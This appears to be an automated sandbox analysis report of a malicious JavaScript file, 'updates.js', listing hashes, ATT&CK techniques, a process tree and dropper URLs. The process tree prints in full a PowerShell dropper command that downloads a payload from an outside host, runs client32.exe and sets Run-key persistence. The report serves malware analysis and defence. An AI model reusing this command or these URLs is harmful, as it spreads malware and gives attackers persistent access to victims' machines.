db302ab8343193ac2826bd9de5b168af740c6e6e6779149daec44efc0ac01b95

Analysis

max time kernel
2s
max time network
20s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
06/06/2024, 03:17

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General

Target

updates.js
Size

7.3MB
MD5

cbb64c3f4095d8fc567c2e3fc1295a67
SHA1

a114622094d9563593cd3e571ffb2d7f67edd8c9
SHA256

db302ab8343193ac2826bd9de5b168af740c6e6e6779149daec44efc0ac01b95
SHA512

eda9bf2299253b5026a38f43bb5e5eaf1169332e9a3afb699928c059713952f2604c442476f31e5f98a8f67073948e0e0697591ade88c2999ff0b0c3d0e35fd9
SSDEEP

49152:e7h4zjCxb7qHlp4XONN0G7h20kQmwYzYMm7u+8wgJ3wr/xN1GIWx3qpWROg2cE08:7

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://lilygovert91.top/data.php?10425

exe.dropper

http://lilygovert91.top/data.php?10425

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
940	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2188 wrote to memory of 940	2188	wscript.exe	28
PID 2188 wrote to memory of 940	2188	wscript.exe	28
PID 2188 wrote to memory of 940	2188	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\updates.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2188
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $VLMBEFDHFEB='http://lilygovert91.top/data.php?10425';$GRGOAC=(New-Object System.Net.WebClient).DownloadString($VLMBEFDHFEB);$YPUNIGTS=[System.Convert]::FromBase64String($GRGOAC);$asd = Get-Random -Minimum -10 -Maximum 37; $ARHZXFUYD=[System.Environment]::GetFolderPath('ApplicationData')+'\ZVMSLKLAUN'+$asd;if (!(Test-Path $ARHZXFUYD -PathType Container)) { New-Item -Path $ARHZXFUYD -ItemType Directory };$p=Join-Path $ARHZXFUYD 'wah.zip';[System.IO.File]::WriteAllBytes($p,$YPUNIGTS);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$ARHZXFUYD)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $ARHZXFUYD 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $ARHZXFUYD -Force; $fd.attributes='Hidden';$s=$ARHZXFUYD+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='SZDFRX';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:940

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/940-4-0x000007FEF647E000-0x000007FEF647F000-memory.dmp

Filesize
4KB

Download
memory/940-5-0x000000001B380000-0x000000001B662000-memory.dmp

Filesize
2.9MB

Download
memory/940-6-0x00000000023A0000-0x00000000023A8000-memory.dmp

Filesize
32KB

Download
memory/940-7-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

Filesize
9.6MB

Download
memory/940-8-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

Filesize
9.6MB

Download
memory/940-9-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

Filesize
9.6MB

Download
memory/940-10-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

Filesize
9.6MB

Download
memory/940-12-0x000007FEF61C0000-0x000007FEF6B5D000-memory.dmp

Filesize
9.6MB

Download